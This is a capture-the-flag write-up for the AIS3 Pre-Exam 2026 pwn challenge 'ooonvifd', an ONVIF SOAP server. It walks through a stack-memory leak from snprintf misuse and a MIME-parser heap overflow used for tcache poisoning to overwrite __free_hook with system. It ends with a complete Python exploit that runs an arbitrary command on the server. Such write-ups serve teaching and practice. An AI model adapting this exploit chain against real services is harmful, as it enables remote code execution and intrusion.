【AIS3 Pre-Exam 2026 Writeup】Pwn - ooonvifd
There was no .c file in the handout, only the ELF. The binary was not stripped, so the first source view was from symbols, strings, and decompiler output.
file onvifd
checksec --file=onvifd
nm -n onvifd
strings -a onvifd
Binary protections were all on: Full RELRO, canary, NX, PIE, FORTIFY, SHSTK, and IBT.
GOT was my first guess, but Full RELRO killed it. Saved RIP also did not look nice. main is a socket accept loop, and the first bug I found was on heap data, not on the stack return path. No trigger, no path.
Strings gave the program shape:
GetSystemDateAndTime
GetDeviceInformation
GetCapabilities
GetScopes
UploadFirmware
multipart/related
boundary=
It is a small ONVIF HTTP/SOAP server. UploadFirmware looked like the intended feature, but the handler itself only checks whether an MTOM attachment exists and prints the attachment size. The parser before it was more interesting.
Source review
Functions worth reading from nm:
0000000000001930 t handle_get_capabilities
0000000000001ce0 t handle_upload_firmware
0000000000001d90 t dispatch_soap
00000000000022a0 t parse_http.constprop.0
00000000000027a0 t parse_mime
Most time went into parse_http, parse_mime, and handle_get_capabilities.
parse_http copies the Host header into the request context. The maximum host length is about 0x1ff, so it is not a direct overflow.
parse_mime allocates one heap buffer per MIME part:
body = malloc(0x200);
Normal data path grows the buffer. The suspicious code is the boundary mismatch path. When the parser sees:
\r\n--
it tries to match the configured boundary. If the match fails, it copies the pending bytes back into the part body. The size check only makes sure there is at least one byte left. It does not check the full pending length.
With len == 0x1ff, the check passes, but the parser writes more than one byte. The extra bytes land in the next heap chunk.
At first I tried to turn this into top chunk abuse. A huge fake top size crashed with:
malloc(): corrupted top size
A small valid size made the request survive, but it did not give a useful write target. I went back to this later after getting a libc leak.
printf / glibc leak
handle_get_capabilities looked boring first. It builds a long SOAP response with many %s, all using the Host string.
Decompiler showed this shape:
char buf[0x800];
int n = snprintf(buf, 0x800, template, host, host, host, host, host, host);
send(fd, buf, n, 0);
snprintf misuse is here. It returns the length that would have been written, not the length actually stored in buf.
With a long Host, the return value is bigger than 0x800. send uses that value, so it sends stack memory after buf.
Small test:
host = b"H" * 0x1ff
body = b"<GetCapabilities/>"
Response length became 4109, much bigger than the stack buffer. Around offset 0x608, there was a libc return address. It matched __libc_start_main+243 in the target libc.
libc_ret = u64(resp[0x608:0x610])
libc_base = libc_ret - 0x24083
I restarted gdb a few times because I did not trust the offset at first. It stayed page-aligned with the real mapping.
Getting the right libc
Dockerfile pins an Ubuntu image by digest:
FROM ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214
Kali libc is wrong here. I pulled the image layer from Docker registry and extracted the libc files.
Useful checks:
grep -A12 '^Package: libc6$' root/var/lib/dpkg/status | grep Version
nm -D root/usr/lib/x86_64-linux-gnu/libc-2.31.so | grep -E ' __free_hook| system@@|__libc_start_main@@'
Result:
Version: 2.31-0ubuntu9.17
__libc_start_main = 0x23f90
system = 0x52290
__free_hook = 0x1eee48
Leaked return address:
__libc_start_main + 243 = 0x24083
So the final offsets are:
LIBC_START_MAIN_RET = 0x24083
SYSTEM = 0x52290
FREE_HOOK = 0x1EEE48
gdb notes for heap layout
To make local testing close to remote, I patched a copy of the binary to use the extracted Ubuntu libc:
cp onvifd /tmp/onvifd_image
patchelf --set-interpreter /tmp/ubuntu_img/root/usr/lib/x86_64-linux-gnu/ld-2.31.so \
--set-rpath /tmp/ubuntu_img/root/usr/lib/x86_64-linux-gnu \
/tmp/onvifd_image
Symlinks for libc.so.6 and the loader were also needed inside that extracted root.
Breakpoints around the allocation sites showed the layout was stable enough. One run looked like:
CTX = heap + 0x2a0
BODY = heap + 0xcf0
BODY = heap + 0xf00
NODE = heap + 0x1110
NODE = heap + 0x1160
Heap base changes, but the allocator behavior is stable. MIME bodies use malloc(0x200), so the chunk size is 0x210. MIME nodes are smaller chunks.
A fake MIME node inside the request context was another idea for leaking heap pointers through the response. It produced weird values and often ended in invalid free. That path was noisy and not needed after the GetCapabilities stack leak gave libc.
Final heap plan
Target write:
__free_hook = system
After that, a later cleanup free(command) becomes system(command).
Command string:
cat /flag.txt >&4
Socket fd is 4 in this server, so >&4 sends the flag back on the same connection.
Groom
Send one multipart request with three parts. Each part allocates a 0x200 body buffer. At the end of request cleanup, those chunks enter tcache:
tcache[0x210] -> B0 -> B1 -> B2
Poison
Next multipart request starts. First part body takes B0.
Fill B0 to 0x1ff, then trigger the boundary mismatch copy:
part0 = soap + b"A" * (0x1ff - len(soap))
part0 += b"\r\n--" + boundary[:21] + b"Z"
Overwrite starts at B0 + 0x1ff.
Chunk fields after B0:
B0 + 0x208 -> B1 size
B0 + 0x210 -> B1 tcache next
So the boundary is built like this:
boundary = b"B" * 5
boundary += p64(0x211)
boundary += p64(__free_hook - 8)
boundary += b"C" * 24
After the overflow:
B1 size = 0x211
B1 next = __free_hook - 8
Now tcache behaves like:
tcache[0x210] -> B1 -> (__free_hook - 8)
Write hook and trigger
Same multipart request keeps parsing more parts:
part1 body -> B1
part2 body -> __free_hook - 8
part2 writes:
part2 = b"P" * 8 + p64(system)
That places system exactly on __free_hook.
One more part stores the command string:
part3 = b"cat /flag.txt >&4\x00"
Cleanup frees MIME part bodies in reverse order. part3 is freed first, after the hook is already overwritten.
Local test with:
CMD='id >&4' python3 solve.py 127.0.0.1 8080
returned id output on the socket. There were shell errors after it, because later free() calls also went through system. Not a problem. The flag command already ran.
Remote run
Instancer asks for a CTFd token and a hashcash stamp.
nc chals1.ais3.org 21338
python3 pow_solver.py 24 '<resource>'
After starting the instance, it returned a host and port:
chals1.ais3.org 40621
Run:
python3 solve.py chals1.ais3.org 40621
Output:
[+] libc base = 0x7fda79912000
AIS3{litTl3_Re@l_w0RLD_pWn_BU7_I_tHInK_aI_Wri735_3XpLo1T_Fa5TER}
[+] flag: AIS3{litTl3_Re@l_w0RLD_pWn_BU7_I_tHInK_aI_Wri735_3XpLo1T_Fa5TER}
Full exploit
#!/usr/bin/env python3
import re
import os
import socket
import struct
import sys
import time
from typing import Iterable, List, Tuple
LIBC_START_MAIN_RET = 0x24083 # libc6 2.31-0ubuntu9.17, __libc_start_main+243
SYSTEM = 0x52290
FREE_HOOK = 0x1EEE48
def p64(x: int) -> bytes:
return struct.pack("<Q", x & 0xffffffffffffffff)
def recv_all(s: socket.socket, timeout: float = 1.0) -> bytes:
s.settimeout(timeout)
out = bytearray()
while True:
try:
b = s.recv(8192)
except (TimeoutError, socket.timeout):
break
if not b:
break
out += b
return bytes(out)
def send_req(host: str, port: int, req: bytes, timeout: float = 1.0) -> bytes:
s = socket.create_connection((host, port), timeout=3)
s.sendall(req)
data = recv_all(s, timeout)
s.close()
return data
def soap_req(body: bytes, host_header: bytes = b"h") -> bytes:
return (
b"POST /onvif/device_service HTTP/1.1\r\n"
b"Host: " + host_header + b"\r\n"
b"Content-Type: application/soap+xml\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n\r\n" +
body
)
def multipart_req(parts: List[bytes], boundary: bytes, host_header: bytes = b"h") -> bytes:
body = bytearray()
for part in parts:
body += b"--" + boundary + b"\r\n"
body += b"Content-Type: application/xop+xml\r\n\r\n"
body += part
body += b"\r\n"
body += b"--" + boundary + b"--\r\n"
return (
b"POST /onvif/device_service HTTP/1.1\r\n"
b"Host: " + host_header + b"\r\n"
b"Content-Type: multipart/related; boundary=\"" + boundary + b"\"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n\r\n" +
bytes(body)
)
def leak_libc(host: str, port: int) -> Tuple[int, bytes]:
# GetCapabilities repeats Host six times into a fixed 0x800 stack buffer.
# The daemon sends snprintf's would-have-written length, leaking stack data.
body = b"<GetCapabilities/>"
resp = send_req(host, port, soap_req(body, b"H" * 0x1ff), timeout=1.0)
if len(resp) < 0x610:
raise RuntimeError(f"short leak response: {len(resp)} bytes")
libc_ret = struct.unpack("<Q", resp[0x608:0x610])[0]
libc_base = libc_ret - LIBC_START_MAIN_RET
if libc_base & 0xfff:
raise RuntimeError(f"bad libc base from leak: ret={libc_ret:#x} base={libc_base:#x}")
return libc_base, resp
def groom(host: str, port: int) -> None:
# Three 0x200 MIME bodies put three 0x210 chunks in tcache. The final
# exploit request consumes B0, B1, then the poisoned target, leaving the
# tcache count at zero so the command part is allocated normally.
boundary = b"GROOM-BOUNDARY"
soap = b"<GetDeviceInformation/>"
resp = send_req(host, port, multipart_req([soap, b"A", b"B"], boundary), timeout=1.0)
if b"GetDeviceInformationResponse" not in resp:
raise RuntimeError("groom request did not get expected response")
def exploit(host: str, port: int, libc_base: int) -> bytes:
free_hook = libc_base + FREE_HOOK
system = libc_base + SYSTEM
hook_target = free_hook - 8
boundary = b"B" * 5 + p64(0x211) + p64(hook_target) + b"C" * 24
if b"\n" in boundary:
raise RuntimeError("boundary contains LF; retry with a fresh process")
soap = b"<GetDeviceInformation/>"
# Trigger the MIME pending-copy overflow at B0+0x1ff. Index 9 rewrites
# B1's size back to 0x211; index 17 starts B1's tcache next pointer.
part0 = soap + b"A" * (0x1ff - len(soap))
part0 += b"\r\n--" + boundary[:21] + b"Z"
part1 = b"JUNK"
# malloc(0x200) returns __free_hook-8 here. The first eight bytes are
# padding; the next eight become __free_hook = system.
part2 = b"P" * 8 + p64(system)
# Freed first during cleanup, after __free_hook is set.
cmd = os.environ.get("CMD", "cat /flag.txt >&4").encode()
part3 = cmd + b"\x00"
return send_req(host, port, multipart_req([part0, part1, part2, part3], boundary), timeout=3.0)
def main() -> int:
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <host> <port>", file=sys.stderr)
return 2
host, port = sys.argv[1], int(sys.argv[2])
libc_base, leak = leak_libc(host, port)
print(f"[+] libc base = {libc_base:#x}")
groom(host, port)
resp = exploit(host, port, libc_base)
sys.stdout.buffer.write(resp)
m = re.search(rb"AIS3\{[^}]+\}", resp)
if m:
print(f"\n[+] flag: {m.group(0).decode()}")
return 0
return 1
if __name__ == "__main__":
raise SystemExit(main())